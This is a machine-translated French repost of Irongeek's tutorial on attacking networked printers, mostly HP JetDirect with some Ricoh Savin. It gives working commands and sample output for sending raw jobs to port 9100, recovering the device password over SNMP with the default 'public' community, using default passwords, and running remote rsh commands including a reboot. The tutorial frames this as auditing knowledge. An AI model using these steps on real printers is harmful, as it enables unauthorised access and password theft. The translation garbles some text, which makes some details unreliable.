Piratage des imprimantes réseau (principalement des imprimantes HP JetDirect, mais quelques informations sur Ricoh Savins) – Serveur d’impression

Author: Titanfall —

Short summary: Piratage des imprimantes réseau (principalement des imprimantes HP JetDirect, mais quelques informations sur le Ricoh Savins) Piratage des imprimantes réseau (Principalement HP JetDirect, mais quelques informations sur les Ricoh Savins) Par Adrian "Irongeek" Crenshaw Piratez une imprimante, quel type de toner avez-vous? été fumeur, Irongeek? Eh bien, je suis ici pour vous dire, il y […]

Quick overview

Site
Tutos GameServer
Canonical URL
https://tutos-gameserver.fr/2019/07/30/piratage-des-imprimantes-reseau-principalement-des-imprimantes-hp-jetdirect-mais-quelques-informations-sur-ricoh-savins-serveur-dimpression/
LLM HTML version
https://tutos-gameserver.fr/2019/07/30/piratage-des-imprimantes-reseau-principalement-des-imprimantes-hp-jetdirect-mais-quelques-informations-sur-ricoh-savins-serveur-dimpression/llm
LLM JSON version
https://tutos-gameserver.fr/2019/07/30/piratage-des-imprimantes-reseau-principalement-des-imprimantes-hp-jetdirect-mais-quelques-informations-sur-ricoh-savins-serveur-dimpression/llm.json
Manifest
https://tutos-gameserver.fr/llm-endpoints-manifest.json
Estimated reading time
70 minutes (4161 seconds)
Word count
13870

Key points

Primary visual

Piratage des imprimantes réseau (principalement des imprimantes HP JetDirect, mais quelques informations sur Ricoh Savins)
 – Serveur d’impression
Main illustration associated with the content.

Structured content

Piratage des imprimantes réseau (principalement des imprimantes HP JetDirect, mais quelques informations sur le Ricoh Savins) Piratage des imprimantes réseau (Principalement HP JetDirect, mais quelques informations sur les Ricoh Savins) Par Adrian "Irongeek" Crenshaw

Piratez une imprimante, quel type de toner avez-vous? été fumeur, Irongeek? Eh bien, je suis ici pour vous dire, il y a plus à faire avec une imprimante pour compromettre la sécurité du réseau que l'on pourrait réaliser. Dans le vieux jours, une imprimante n’a peut-être guère préoccupé la menace de la part de Folks Dumpster Diving pour des copies papier des documents qui en ont été imprimés, mais de nombreuses imprimantes modernes venir en réseau avec systèmes d'exploitation intégrés, stockage et piles IP complètes. Cet article tentera de souligner certaines des choses les plus intéressantes que peut être fait avec une imprimante réseau pour lui faire révéler des informations sur son les utilisateurs, les propriétaires et le réseau dont il fait partie. Certains de cet article peuvent sembler un peu Black-hat car il se concentre plus sur le effraction que le maintien. Cependant, je pense que cette information sera utile aux administrateurs système et aux auditeurs afin qu'ils sachent quel genre de choses à surveiller pour quand il s'agit d'imprimantes réseau. Si vous voulez plus de conseils sur la façon de verrouiller vers le bas de votre imprimante réseau, visitez le site Web de votre fournisseur. Un guide de HP est lié au bas de cet article pour votre commodité. Si rien d'autre, cet article peut vous amener à penser dans la bonne direction. Pour mes tests, j'utiliserai principalement un MFP Hewlett-Packard LaserJet 4100 (Fax / Imprimante / Copieur / Scanner), un HP JetDirect 170x et un HP JetDirect 300X (J3263A) mais je vais aussi toucher un peu sur la série d'imprimantes Ricoh Savin de peur que vous pensiez que les HP sont les seuls imprimantes réseau avec des problèmes de sécurité. Une grande partie de cet article se lit comme un énorme dépotoir de cerveau, en quelque sorte désorganisé et flou comme mon esprit. Il tout a commencé comme un projet pour Infonomicon TV de Droop et il a fait boule de neige à partir de là sans direction spécifique. Ours avec moi comme je le nettoie et d'autres personnes envoient moi de nouveaux ajouts et suggestions pour rendre cet article plus utile.

La version la plus récente de cette l'article peut être trouvé à:

http://www.irongeek.com/i.php?page=security/networkprinterhacking

Table des matières: Introduction aux concepts Il existe plusieurs TLA (trois lettres Je vais utiliser cet article, donc je ferais mieux de les sortir du chemin maintenant. PCL représente le langage de contrôle de l’imprimante, développé par HP et devenu un des protocoles d'imprimante les plus courants. Un autre langage de description de page vous devrait être au courant de son PostScript (PS) conçu par Adobe pour permettre l’impression de choses plus complexes à partir d’un traceur / imprimante. PJL (Printer Job Language) est un extension de PCL qui peut dire à une imprimante quoi faire, à partir de changer de périphérique paramètres de transfert de fichiers. Il y a aussi trois les principaux protocoles d’impression réseau à connaître. Voici une table avec certaines des informations pertinentes sur chaque protocole:

prénom Sens Port

LPD Protocole Line Printer Daemon 515 / tcp

IPP alias Système d'impression Berkeley Protocole d'impression Internet 631 / tcp

JetDirect alias AppSocket alias Brut alias PDL-datastream 9100 / tcp

Depuis que je me concentre sur JetDirect dont je vais surtout parler et utiliser AppSocket / PDL-datastream, mais de nombreux JetDirect pouvant également fonctionner avec IPP et LPD, et de nombreux autres les imprimantes réseau utilisent également AppSocket, vous devez être conscient de l'existence de tous Trois. Il existe également des imprimantes réseau utilisant IPX, Appletalk et SMB. (certains Savins par exemple) protocoles pour communiquer. Je ne couvrirai pas IPX et Appletalk en raison de mon manque d'expérience avec eux, peut-être quelqu'un d'autre qui lit cette page soumettra quelques informations sur eux pour que je les poste (le crédit sera donné). SMB je peux essayer de couvrir plus tard. Maintenant que les formalités sont terminées, commençons à jouer avec des imprimantes.

Page de diagnostic

Les images ci-dessus sont d'une boîte JetDirect 170x externe. Remarquez l'image à droite. sur le tout à droite, vous remarquerez un petit bouton intitulé "test". Pressage ce bouton sur la plupart des boîtes JetDirect imprimera une liste de pages de diagnostic statistiques et le paramètre IP pour la boîte JetDirect. Si votre imprimante a un carte JetDirect interne, vous devrez négocier les menus pour savoir comment imprimez cette page de diagnostic. Lorsque vous appuyez sur le bouton de test, l’imprimante doit imprimer un page ou deux qui répertorie des informations telles que le nom d'hôte, l'adresse MAC, l'adresse IP Adresse, masque de sous-réseau, passerelle par défaut, révision du micrologiciel et statistiques générales. L'adresse IP / l'hôte prénom sera particulièrement utile si vous souhaitez contourner le logiciel de quota d'impression par configuration de l'impression IP directe sur votre machine Windows ou Linux. Si vous n'avez pas accès physique à la boîte JetDirect, vous pouvez toujours trouver son IP ou son nom d’hôte en voir ce que son port est répertorié comme si cette imprimante réseau a été configurée sur un Windows box auquel vous avez accès. Comme vous pouvez le voir par le Sur le graphique de gauche, le nom d’hôte de cette zone JetDirect est npib1002c. Parfois, vous verrez un port répertorié comme quelque chose comme IP_192.168.1.102, où évidemment 192.168.1.102 est l'IP de JetDirect. Vous pouvez très bien utiliser un hôte nom ou une adresse IP de façon interchangeable sur votre réseau local, et si le nom d’hôte a une nom de domaine qualifié, vous devriez pouvoir l’adresser depuis Internet ainsi que. Si vous n'avez pas accès à une boîte JetDirect, ou si votre PC n’est pas connecté à une boîte, ne désespérez pas. Dans les sections suivantes, je décrirai comment trouver ces imprimantes sur le réseau local / Internet. en utilisant Nmap et JetAdmin.

Astuces stupides d'imprimante

J'ai appelé cette section des astuces d'imprimante stupide parce que tout ces activités ne sont pas très techniques, elles illustrent bien la simplicité du Protocole RAW / AppSock qui écoute sur le port 9100 / tcp sur JetDirects et la plupart des autres imprimantes réseau. Essayez ceci, trouvez l’IP de vos imprimantes en utilisant le Page Diagnostics puis navigation sur le Web pour:

http: // your-printers-ip: 9100

Le ": 9100" à la fin est là pour indiquer à votre navigateur de se connecter sur le port 9100 / tcp. Lorsque vous essayez d’établir la connexion, vous remarquerez que le navigateur ne ne va nulle part, c’est que ce qui tourne sur le port 9100 / tcp n’est pas un site Web serveur. Cliquez sur le bouton d'arrêt de votre navigateur pour lui dire d'arrêter d'essayer de connectez puis allez jeter un coup d’œil à l’imprimante. En fonction du navigateur que vous utilisez vous devriez voir une impression ressemblant à l’une des suivantes:

Firefox Internet Exploiter

GET / HTTP / 1.1 Hôte: tux: 9100 Agent utilisateur: Mozilla / 5.0 (Windows; U; Windows NT 5.1; en-US; version: 1.8.0.1) Gecko / 20060111 Firefox / 1.5.0.1 Accepter: text / xml, application / xml, application / xhtml + xml, text / html; q = 0,9, text / plain; q = 0,8, image / png, * / *; q = 0,5 Accepter-Langue: en-us, en; q = 0.5 Accept-Encoding: gzip, deflate Jeu de caractères accepté: ISO-8859-1, utf-8; q = 0,7, *; q = 0,7 Keep-Alive: 300 Connexion: Keep-Alive GET / HTTP / 1.1 Accepter: image / gif, image / x-xbitmap, image / jpeg, image / pjpeg, application / x-shockwave-flash, application / vnd.ms-excel, application / vnd.ms-powerpoint, application / msword, * / * Accept-Language: en-us Accept-Encoding: gzip, deflate Agent utilisateur: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Hôte: test: 9100 Connexion: Keep-Alive

Vous voyez, n'importe quoi que l’imprimante voit arriver sur le port 9100 / tcp, elle essaie de lire comme une impression emploi. Les deux textes que vous voyez ci-dessus sont des requêtes HTTP get pour le document racine de le serveur. L’imprimante réseau ne comprend pas cela et essaie juste d’imprimer la demande sous forme de texte. Une autre chose que vous pouvez essayer est telneting au port 9100 (nous supposera que l'adresse IP de votre imprimante est 192.168.1.2), en tapant du texte et en voyant il imprime:

Irongeek: ~ # telnet 192.168.1.2 9100 Essayer 192.168.1.2 … Connecté à 192.168.1.2. Le caractère d'échappement est '^]'. bonjour imprimante ^] telnet> quitter Connexion fermée. Irongeek: ~ #

Vous devriez maintenant voir un imprimer qui a juste les mots "bonjour imprimante" sur elle. Le "^]" représente le en appuyant sur la touche de navigation et le]crochet en même temps. Ce qui précède exemple a été fait dans * nix, mais les mêmes commandes devraient fonctionner dans Windows. Garder à Notez que vous ne pouvez pas voir tout ce que vous tapez (les parties en rouge) sauf si vous avez écho local activé (qui semble être désactivé par défaut sous Windows). Il y a des exceptions aux imprimantes réseau imprimant tout ce qui est envoyé sur le port 9100. Cette astuce, pour lesquels il y aura plus de détails donnés plus tard, devrait changer l'affichage LCD à dites ce que vous voulez. Il n'est pas pris en charge sur toutes les imprimantes, mais si vous en possédez un devrait marcher. Je dois remercier Commutateur DIP pour signaler que vous n'avez pas besoin d'outils sophistiqués ou de code pour le faire (mais les outils le rendent plus facile). Avec Telnet:

Irongeek: ~ # $ telnet 192.169.1.2 9100 @PJL RDYMSG DISPLAY = "Du texte" ^]quitter Irongeek: # $

Ou Netcat:

Irongeek: ~ # $ echo @PJL RDYMSG DISPLAY = "Du texte " | netcat -q 0 192.168.1.2 9100 Irongeek: # $

Remarques sur le mot de passe JetDirect La plupart du temps Les gens n'activent même jamais les options de mot de passe de JetDirect, mais s'ils le font rapidement trouver qu'ils ne le font pas toujours travailler de manière logique. Si vous utilisez un la boîte JetDirect la plus récente ressemble à l’une des suivantes:

680N (J6058A) 615N (J6057A) 610N (J4169A, J4167A) 380X (J6061A) 310X (J6038A, 250M (J6042A) 75X (J6035A

ou une imprimante HP avec une carte JetDirect interne, telle que:

HP LaserJet série 4100 HP LaserJet série 8150 HP LaserJet série 9000 HP Color LaserJet série 4550 HP Color LaserJet 4600 HP Designjet série 5000 ou HP Business Inkjet 2600

puis le mot de passe telnet et périphérique utilisé par l'interface Web et le logiciel JetAdmin sont les mêmes. Si vous vous connectez via telnet, vous serez invité à nom d'utilisateur et mot de passe. Les noms d'utilisateur "root", "admin", "administrateur" et "superviseur" sont tous valables et équivalents. Si vous utilisez un ancienne boîte JetDirect comme l’une des suivantes:

600N (J3110A, J3111A, J3112A, J3113A) 400N (J4100A, J4105A, J4106A) 300X 500X 170X (J3296A, J4101B, J3263A, J3264A, 3265A, J4102B, J3258B)

alors les choses sont plus confuses. Premièrement, si vous telnet dans vous allez seulement être invité pour un mot de passe; aucun nom d'utilisateur n'est demandé. Si vous configurez un mot de passe pour le service telnet, il peut ne pas s'agir du même mot de passe pour l'interface Web, et vice-versa. vice versa. En d’autres termes, il y a deux mots de passe sur au moins quelques zones JetDirect, un pour la connexion par telnet et un pour l'interface Web / le logiciel JetAdmin. Telnet les mots de passe sont sensibles à la casse, mais pas les mots de passe Web / JetAdmin. Mots de passe Telnet sont limités à 16 caractères, les mots de passe Web / JetAdmin à 12. savoir, Hijetter (voir plus loin) peut indiquer que le mot de passe est désactivé même si les deux les mots de passe sont définis, mais ce n'est pas grave, car il les contourne de toute façon. L'interface Web et JetAdmin utilise SNMP (Simple Network Management Protocol) pour contrôler les boîtes JetDirect et exiger que vous connaître le mot de passe, mais j'ai lu d'autres utilitaires de configuration SNMP tiers sera juste ignorer complètement le mot de passe et peut quand même connecter et contrôler JetDirect. Cela pourrait être une bonne idée pour certains de changer leurs noms de communauté SNMP en autre que le paramètre par défaut public / privé, mais même s’ils le faisaient, ils pourraient toujours être reniflé hors du fil à moins qu'ils aient un JetDirect plus récent que prend en charge SNMPv3 et SSL / TLS. Si vous utilisez le Logiciel de bureau JetAdmin pour Windows 2000, notez-le automatiquement stocke les mots de passe dans le registre une fois que vous l'utilisez. Par exemple, si le MAC l'adresse d'une boîte JetDirect était 001083A2C913, puis JetAdmin stockait le mot de passe "mot de passe" dans Utilisateur Logiciel Hewlett-Packard HP JetAdmin DeviceOptions 001083A2C913 dans une valeur appelée "Accès" comme "50 00 41 00 53 00 53 00 57 00 4f 00 52 00 44,00,00,00". Au cas où vous ne le remarqueriez pas, cette chaîne HEX est le mot de passe "mot de passe" converti en majuscule, chaque lettre étant transformée en équivalent HEX, avec un caractère nul entre chaque caractère de mot de passe, puis null complété. Brute forçant ces les mots de passe pourraient être une option puisque la connexion à de nombreuses imprimantes réseau n'est pas tout. cela impliqué. Comme vous le savez déjà, telnet n’est pas chiffré, il est donc important de les renifler. les mots de passe sont triviaux. Comme je l’ai découvert en détectant avec Ethereal, l’interface Web sur les anciens Jetdirects (vraiment une applet Java) et JetAdmin utilisent SNMP pour configurer JetDirect et transmettez également leur mot de passe en texte brut. Cherchez le mot de passe juste avant la chaîne "= 108" dans les sauvegardes. Certains nouveaux Jetdirect ne font pas ceci et peut utiliser SSL pour chiffrer la connexion. Si vous définissez un mot de passe sur une boîte JetDirect pendant que vous jouez avec elle et oubliez ce que c'est, tout ce que vous avez à faire est une réinitialisation matérielle. Débranchez le cordon d’alimentation, maintenez la bouton test / statut, et tout en maintenant le bouton enfoncé, reconnectez le courant. Le mot de passe et tous les autres paramètres doivent maintenant être effacés.

Obtenir un mot de passe JetDirect à distance à l'aide de la vulnérabilité SNMP Je me promenais SecurityFocus.com à la recherche d'exploits JetDirect et je suis tombé sur un film:

http://www.securityfocus.com/bid/7001/exploit Depuis le lien ci-dessus est plutôt timide sur les détails, je vais vous montrer l'exploit pas à pas. Il paraît que le mot de passe du périphérique pour de nombreux JetDirect est stocké sous forme de texte presque brut et accessible via SNMP en utilisant le nom de communauté en lecture. La plupart des gens quittent leur SNMP Le nom de la communauté est "public", mais même si cela a changé, il est probablement reniflant. Essayez également "interne" en tant que nom de communauté car il s'agit de la communauté d'écriture par défaut nom sur de nombreux JetDirect. Les rapports sont que sur certains JetDirect, même si vous changer le nom de la communauté, "interne" fonctionnera toujours. Avec les outils Net-SNMP, le le mot de passe est facile à récupérer:

Irongeek: ~ # snmpget -v 1 -c public 192.168.2.46 .1.3.6.1.4.1.11.2.3.9.1.1.13.0 SNMPv2-SMI :: enterprises.11.2.3.9.1.1.13.0 = Hex-STRING: 50 41 53 53 57 4F 52 44 3D 31 30 38 3B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Irongeek: ~ #

Remarquez l'hexagone chaîne. En hex 50 = P, 41 = A, 53 = S, 53 = S, 57 = W, 4F = 0,52 = R, 44 = D, 3D ==, 31 = 1,30 = 0,38 = 8, 3B =; En d'autres termes, "PASSWORD = 108;" ce qui signifie que le mot de passe est "PASSWORD". moi aussi essayé après avoir changé le mot de passe pour newpassword, et de même "50 41 53 53 57 4F 52 44 3D 31 30 38 3B "est" NEWPASSWORD = 108; ". avant le "= 108;" est le mot de passe. Pour ceux qui sont trop paresseux pour faire la La conversion HEX en ASCII se fait par:

http://nickciske.com/tools/hex.php

Notez également que j'ai entré mes mots de passe en minuscule, mais ils ont été stockés en majuscule. Ces mots de passe sont des cas insensible. Certains des JetDirect vulnérables sont: HP JetDirect J3263A HP JetDirect J3113A HP JetDirect J3111A D'autres JetDirect peuvent également être v erle, ça vaut donc la peine d’être testé. Je l'ai essayé avec mon Hewlett Packard HP JetDirect 300X (J3263A) et l’installation du dernier firmware (H.08.49) semble Résoudre ce problème, mais j'imagine qu'il y a encore beaucoup de JetDirect sans correctifs sur Là. Certains serveurs d’impression, tels que le HP J3258A JetDirect 170X, ne disposent pas d’utilisateur. micrologiciel pouvant être mis à niveau du tout, vous êtes donc coincé avec le micrologiciel qui vous a été envoyé avec. Le seul moyen de remédier à cette vulnérabilité consiste à utiliser un nouveau JetDirect. Contrôler la boîte JetDirect avec un navigateur telnet / web La plupart des boîtes JetDirect peuvent être configurées avec un navigateur Web ou via une session telnet. Ci-dessous, vous verrez un écran du web outil de configuration de base. Il suffit de taper l'adresse IP ou le nom d'hôte de la boîte JetDirect dans la barre d'adresse de votre navigateur Web Java activé préféré et cela devrait fonctionner.

Voici un exemple de connexion à une boîte JetDirect avec un telnet session, en ouvrant l'écran d'aide et en réinitialisant le nom d'hôte:

Irongeek: ~ # telnet 192.168.1.2 Essayer 192.168.1.2 … Connecté à 192.168.1.2. Le caractère d'échappement est '^]'. HP JetDirect Veuillez saisir "?" pour HELP ou "/" pour les réglages actuels > ? Pour modifier / configurer les paramètres, entrez: Nom du paramètre: valeur Nom du paramètre Type de valeur ip: adresse IP en notation pointée masque de sous-réseau: adresse en notation pointée (entrez 0 par défaut) default-gw: adresse en notation pointée (entrez 0 par défaut) syslog-svr: adresse en notation pointée (entrez 0 par défaut) délai d'inactivité: secondes en entiers set-cmnty-name: chaîne alphanumérique (32 caractères maximum) nom-hôte: chaîne alphanumérique (majuscule seulement, 32 caractères maximum) dhcp-config: 0 pour désactiver, 1 pour activer permettre: [mask] (0 pour effacer, liste pour afficher, 10 max) addrawport: ( 3000-9000) deleterawport: listrawport: (Aucun paramètre requis) addstring: contenu – Pour les caractères non imprimables, utilisez xx pour un nombre hexadécimal à deux chiffres deletestring: liststring: (aucun paramètre requis) addq: [prepend] [append] [processing] prepend – Le nom de la chaîne prepend append – Le nom de la chaîne d'ajout Utilisez NULL pour aucune chaîne traitement – RAW, TEXT ou AUTO deleteq: listq: (aucun paramètre requis) defaultq: ipx / spx: 0 pour désactiver, 1 pour activer dlc / llc: 0 pour désactiver, 1 pour activer ethertalk: 0 pour désactiver, 1 pour activer bannière: 0 pour désactiver, 1 pour activer Tapez passwd pour changer le mot de passe. Tapez "?" pour HELP, "/" pour les réglages actuels ou "quitter" pour sauvegarder et quitter. Ou tapez "exit" pour quitter sans enregistrer le paramètre de configuration les entrées > / === Configuration Telnet JetDirect === Firmware Rev.: H.08.32 Adresse MAC: 00: 60: b0: 6d: 47: c6 Config By: DHCP Adresse IP: 192.168.1.2 Masque de sous-réseau: 255.255.255.0 Passerelle par défaut: 192.168.1.1 Serveur Syslog: non spécifié Délai d'inactivité: 90 secondes Définir le nom du client: Non spécifié Nom d'hôte: NPI6D47C6 Config. DHCP: activé Passwd: Disabled IPX / SPX: activé DLC / LLC: activé Ethertalk: activé Page de bannière: activé > nom-hôte: BUTTMONKEY > / === Configuration Telnet JetDirect === Firmware Rev.: H.08.32 Adresse MAC: 00: 60: b0: 6d: 47: c6 Config By: DHCP Adresse IP: 192.168.1.2 Masque de sous-réseau: 255.255.255.0 Passerelle par défaut: 192.168.1.1 Serveur Syslog: non spécifié Délai d'inactivité: 90 secondes Définir le nom du client: Non spécifié Nom d'hôte: BUTTMONKEY Config. DHCP: activé Passwd: Disabled IPX / SPX: activé DLC / LLC: activé Ethertalk: activé Page de bannière: activé > quitter === Paramètres JetDirect configurés === Adresse IP: 192.168.1.2 Masque de sous-réseau: 255.255.255.0 Passerelle par défaut: 192.168.1.1 Serveur Syslog: non spécifié Délai d'inactivité: 90 secondes Définir le nom du client: Non spécifié Nom d'hôte: BUTTMONKEY Config. DHCP: activé Passwd: Disabled IPX / SPX: activé DLC / LLC: activé Ethertalk: activé Page de bannière: activé Utilisateur qui quitte Connexion fermée par hôte étranger.

Irongeek: ~ #

Note importante sur l'utilisation de telnet pour configurer une boîte JetDirect: Vous devez utiliser le "quitter" commande pour mettre fin à votre session si vous souhaitez que vos modifications soient enregistrées. Si vous tuez simplement le terminal telnet, toutes les modifications apportées au cours de la session seront perdues. Commandes RSH et Richo Savin Aficio Imprimantes Je dois remercier Mslaviero pour m'avoir présenté cet aspect des imprimantes Richo Savin. Check-out son site:

http://www.cs.up.ac.za/cs/mslaviero/archives/2005/04/28/ricoh-afficio-2035-security-or-lack-thereof/

Normalement, vous pourriez voulez vous connecter à votre Savin avec telnet, mais il est probable que le mot de passe est protégé (le Le mot de passe par défaut est "mot de passe" sur certains Savins). N'ayez pas peur, il y a une autre façon vous pourrez peut-être exécuter certaines commandes sur l’imprimante. Vous avez peut-être remarqué à partir d’un scan Nmap que votre Richo Savin a le port 514 / TCP ouvert. Devine quoi? Vous pouvez utiliser l'utilitaire rsh * nix pour exécuter des commandes à distance sur la boîte. D'abord vous voudrez vous assurer que le client rsh est installé. Rsh a été largement déprécié à cause de ses connexions non chiffrées et d'autres problèmes de sécurité. Si vous essayez rsh sur votre machine Linux, il sera probablement utiliser SSH automatiquement au lieu de cela, ce qui ne fonctionnera pas. Si vous avez une installation de distribution basée sur Debian rsh-client (apt-get install rsh-client) et essayez certaines de ces commandes pour collecter plus d'informations à partir de votre imprimante Savin: La commande Info listera les imprimantes actuelles configuration et options supportées "

root @ Irongeek: ~ # rsh 192.168.1.2 info (Bac d'entrée) No. Nom Taille de la page Statut ————————————————– —————————– 1 bac 1 PaperEnd 11 x 8 1/2 ". 2 bacs 2 11 x 8 1/2 "Normal. 3 LCT 11 x 8 1/2 "Normal. 4 Plateaux d'alimentation auxiliaires 11 x 8 1/2 "PaperEnd. (Bac de sortie) No. Nom Statut ————————————————– ———————- 1 Bac interne 1 Normal. 2 Bac supérieur du finisseur Normal. 3 Plateau du module de finition, Normal. (Langage d'imprimante) No. Nom Version ————————————————– —— 1 Changement automatique de langue 2.21.5.3 2 PJL personnalisés 2.21.5.3 3 RPCS 2c.9.5a 4 émulation PCL 5e 1.01 5 émulation PCL XL 1.01 6 Adobe PostScript 3 1.02

Stats vous donne des statistiques système (duh):

root @ Irongeek: ~ # rsh 192.168.1.2 stat Statut de l’imprimante: Impression. (Prêt.) En ligne / hors ligne: en ligne. Rang Propriétaire Fichiers de fichiers Taille totale actif anonyme 2491 (entrée standard) 126980 octets

La commande syslog renverra des informations telles que le version, gagne le serveur du réseau, quels démons ont été démarrés et autres bits d'information:

root @ Irongeek: ~ # rsh 192.168.1.2 syslog #[ncsd(17)]06/02/24 07:16:18 RICOH Aficio 2045e 2,40 INFO: #[ncsd(17)]06/02/24 07:16:18 Service de contrôle de réseau 4.12 INFO: #[ncsd(17)]06/02/24 07:16:18 Copyright (C) 1994-2002 RICOH CO., LTD. INFO: #[ncsd(17)]06/02/24 07:16:19 Ethernet a commencé avec IP: 192.168.1.2 INFO: #[inetd(42)]06/02/24 07:16:19 inetd start. INFO: #[snmpd(43)]06/02/24 07:16:19 Snmpd Start. INFO: #[httpd(44)]06/02/24 07:16:19 httpd start. INFO: #[ncsd(17)]06/02/24 07:16:19 Vitesse d'interface actuelle: 100 Mbps (duplex intégral) INFO: #[nbtd(45)]06/02/24 07:16:19 nbtd start. INFO: #[nbtd(45)]06/02/24 07:16:19 Succès de l'enregistrement du nom. GAGNE Serveur = 192.168.30.100 Nom NetBIOS = RNP82398B (Ethernet) INFO: #[nbtd(45)]06/02/24 07:16:19 Succès de l'enregistrement du nom. GAGNE Serveur = 192.168.30.100 Nom NetBIOS = IGPrinter (Ethernet) INFO: #[nbtd(45)]06/02/24 07:16:19 Succès de l'enregistrement du nom. GAGNE Serveur = 192.168.30.100 Nom NetBIOS = INFO WORKGROUP (Ethernet): #[multid(48)]06/02/24 07:16:21 départ multiple. INFO: #[diprintd(51)]06/02/24 07:16:21 commencé. INFO: #[lpd(52)]06/02/24 07:16:21 redémarré INFO: #[snmpd(43)]06/02/24 07:16:28 Snmp over ip est prêt. INFO: #[httpd(44)]06/02/24 07:16:28 ipp enable. INFO: #[httpd(44)]06/02/24 07:16:28 nrs désactiver. INFO: #[lpd(52)]06/03/06 22:19:28 mauvaise demande (71) de AVERTISSEMENT: #[lpd(52)]06/03/06 22:19:28 Demande de service illégale ERR: #[lpd(52)]06/03/06 22:19:28 Connexion perdue ERR: #[rshd(2570)]06/03/06 22:19:33 192.168.19.56 ne peut pas se connecter en second port: 65360 INFO: #[rshd(2596)]06/03/06 22:50:32 (192.168.19.56) help: Ne commande pas prise en charge. SE TROMPER:

Prnlog vous donne plus d'informations sur l'impression récente documents:

root @ Irongeek: ~ # rsh 192.168.1.2 prnlog ID Résultat Page Temps ————————————————– —— 2472 2 Terminé 06/03/06 21:29 2473 10 Terminé 06/03/06 21:33 2474 1 Terminé 06/03/06 21:58 2475 19 Terminé 06/03/06 21:59 2476 3 Terminé 06/03/06 22:16 2477 4 Terminé 06/03/06 22:16 2478 2 Terminé 06/03/06 22:17 2479 4 Terminé 06/03/06 22:19 2480 5 Terminé 06/03/06 22:22 2481 3 Terminé 06/03/06 22:24 2482 2 Terminé 06/03/06 22:29 2483 2 Terminé 06/03/06 22:35 2484 1 Terminé 06/03/06 22:37 2485 2 Terminé 06/03/06 22:38 2486 2 Terminé 06/03/06 22:38 2487 2 Terminé 06/03/06 22:40 2488 6 Terminé 06/03/06 22:40 2489 2 Terminé 06/03/06 22:45 2490 4 Terminé 06/03/06 22:52 2491 30 Terminé 06/03/06 22:53

Ps listera les processus en cours d'exécution:

root @ Irongeek: ~ # rsh 192.168.1.2 ps pid = 2605 [rshd] pid = 57 [pcl] pid = 55 [rsp] pid = 52 [lpd] pid = 51 [diprintd] pid = 49 [centrod] pid = 48 [multid] pid = 47 [gps-web] pid = 46 [gps-pm] pid = 45 [nbtd] pid = 44 [httpd] pid = 43 [snmpd] pid = 42 [inetd] pid = 41 [mcsc] pid = 40 [meu] pid = 38 [plotter_sa] pid = 36 [shmlog] pid = 35 [copy] pid = 34 [gps] pid = 33 [scan] pid = 32 [nfa] pid = 31 [wdb] pid = 30 [pts] pid = 29 [websys] pid = 23 [nrs] pid = 21 [dcs] pid = 19 [ous] pid = 18 [ucs] pid = 17 [ncsd] pid = 16 [ecs] pid = 15 [mcs] pid = 14 [fcuh] pid = 13 [scs] pid = 12 [imh] pid = 3 [checker] pid = 2 [pagedaemon] pid = 1 [init] pid = 0 [swapper]

La commande print imprime tout ce que vous dites sur un feuille de papier (dans ce cas, le mot "test"):

root @ Irongeek: ~ # rsh 192.168.1.2 print tester root @ Irongeek: ~ #

Également essayez "rsh ip-address reboot" pour voir si vous pouvez réinitialiser l’imprimante à distance (cochez Syslog pour voir si cela a fonctionné. On peut obtenir à peu près la même information en téléchargeant des fichiers depuis le serveur FTP intégré de l’imprimante Savin et de les lire dans un éditeur de texte. Voir la capture d'écran ci-dessous:

Contrôle et trouver des boîtes JetDirect avec JetAdmin Hewlett-Packard propose un outil pratique pour contrôler les boîtes JetDirect: JetAdmin. Actuellement, HP propose uniquement une version Web du logiciel, appelée Web JetAdmin, avec des versions pour Windows et Linux. Malheureusement, vous devez vous inscrire sur le site de HP pour l'obtenir, mais vous pouvez télécharger sans vous inscrire à partir de ce site miroir:

http://www.svrops.com/svrops/dwnldprog.htm Personnellement je préfère l’ancien HP JetAdmin pour Windows 2000 (v3.42, la dernière version à publié avant qu'il ne soit interrompu mais fonctionne toujours bien avec XP) car il semble plus rapide et moins gonflé; Cependant, certaines des fonctionnalités du plus récent Web JetAdmin peuvent être manquantes. Vous pouvez télécharger la version de bureau à partir de:

http://www.helpdesk.umd.edu/os/windows_nt/printing/674/

JetAdmin est très rapide à trouver des boîtes JetDirect sur votre sous-réseau, car il diffuse SNMP vers le réseau pour les localiser. Faites un clic droit et choisissez "Propriétés" pour trouver plus d’informations sur la boîte de dialogue JetDirect, ou choisissez "Modifier" pour afficher une liste. assistant qui vous permet de modifier la description, les paramètres IP et d'autres variables associé à l'imprimante. JetAdmin peut aussi générer des rapports sur les imprimantes réseau trouvées. JetAdmin peut en faire trop les choses pour moi de les décrire tous en détail ici alors allez le télécharger et l'essayer. Comme note de côté, si vous souhaitez rechercher des boîtes sur un réseau exécutant Web JetAdmin, effectuez une analyse des ports pour 8000 / TCP (HTTP) et 8443 / TCP (HTTPS); si son mot de passe est faible ou inexistant c'est un moyen facile de contrôler les imprimantes d'un réseau. Si vous êtes intéressé par un JetAdmin comme outil pour les imprimantes Ricoh Savin se penche sur

SmartDeviceMonitor.

